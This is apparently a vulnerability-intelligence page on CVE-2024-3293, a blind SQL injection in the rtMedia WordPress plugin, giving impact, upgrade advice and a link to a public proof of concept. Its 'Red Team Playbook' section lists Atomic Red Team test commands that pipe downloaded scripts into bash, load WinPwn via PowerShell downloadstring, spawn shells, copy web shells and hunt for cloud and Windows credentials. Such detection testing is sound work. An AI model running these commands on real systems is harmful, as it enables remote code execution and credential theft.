CVE-2024-3293
Overview
This vulnerability is a blind SQL Injection affecting the rtmedia_gallery shortcode in the rtMedia plugin for WordPress, BuddyPress, and bbPress. The root cause is insufficient escaping of user-supplied input combined with inadequate preparation of SQL queries within the shortcode processing component. The flaw exists in all plugin versions up to and including 4.6.18, allowing manipulation of database queries through crafted parameters.
Vulnerability Description
The rtMedia for WordPress, BuddyPress and bbPress plugin for WordPress is vulnerable to blind SQL Injection via the rtmedia_gallery shortcode in all versions up to, and including, 4.6.18 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An attacker with contributor-level or higher access can exploit this vulnerability to extract sensitive database information by injecting additional SQL queries via the rtmedia_gallery shortcode parameter. This requires authenticated access but no user interaction beyond normal shortcode usage. Successful exploitation can lead to unauthorized data disclosure, compromising confidentiality and integrity of the database. The CVSS vector indicates low attack complexity (AC:L) and privileges required (PR:L), with high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade the rtMedia for WordPress, BuddyPress, and bbPress plugin to version 4.6.19 or later, where the vulnerability is patched. The Wordfence advisory and the WordPress plugin changeset (https://plugins.trac.wordpress.org/changeset/3071359/buddypress-media) provide detailed patch information. No alternative workarounds are documented; applying the official update is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the rtMedia plugin for WordPress, BuddyPress, and bbPress manifests as a blind SQL injection flaw, primarily due to inadequate escaping of user-supplied parameters and insufficient preparation of SQL queries. This weakness allows authenticated attackers, particularly those with contributor-level access or higher, to manipulate existing SQL queries by appending their own. The exploitation of this vulnerability can lead to unauthorized access to sensitive data stored in the database, as attackers can execute arbitrary SQL commands that may reveal user information, configuration settings, or other critical data.
Attack vectors for this vulnerability are primarily through the rtmedia_gallery shortcode, which is utilized within WordPress content. An attacker can exploit this flaw by crafting a malicious request that includes specially formatted parameters. Given that the vulnerability is classified as blind SQL injection, the attacker may not receive immediate feedback from the database, making it necessary to employ techniques such as timing attacks or error-based exploitation to infer the structure of the database and extract information. The potential for exploitation is significant, especially in environments where user roles are poorly managed, allowing contributors to execute harmful queries without appropriate oversight.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on WordPress for their online presence. The ability to extract sensitive information can lead to data breaches, loss of customer trust, and potential legal ramifications, especially in light of data protection regulations such as GDPR. Businesses may face financial repercussions due to remediation costs, reputational damage, and potential fines. Furthermore, the exploitation of this vulnerability could serve as a foothold for attackers to escalate privileges or pivot to other systems within the network, compounding the risk.
Detection and mitigation strategies for this vulnerability should focus on both immediate and long-term solutions. Organizations should first ensure that they are using the latest version of the rtMedia plugin, as updates often include patches for known vulnerabilities. Regular security audits and code reviews can help identify and rectify insecure coding practices, such as insufficient input validation and escaping. Implementing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Additionally, monitoring database logs for unusual query patterns can assist in detecting potential exploitation attempts early.
In conclusion, the blind SQL injection vulnerability in the rtMedia plugin poses a significant threat to WordPress installations, particularly those with inadequate access controls and security practices. The potential for data extraction and subsequent exploitation underscores the importance of maintaining robust security measures, including timely updates, thorough code reviews, and proactive monitoring. Organizations must prioritize these strategies to safeguard their systems against such vulnerabilities, ensuring the integrity and confidentiality of their data while maintaining user trust.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
truonghuuphuc/CVE-2024-3293-Poc
CVE-2024-3293 rtMedia for WordPress, BuddyPress and bbPress <= 4.6.18 - Authenticated (Contributor+) SQL Injection via r...
|
truonghuuphuc | 1 | 0 | 2024-05-30 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3293 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/32b6938a-0566-46c8-8761-0403b3a0e3e9?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3071359/buddypress-media |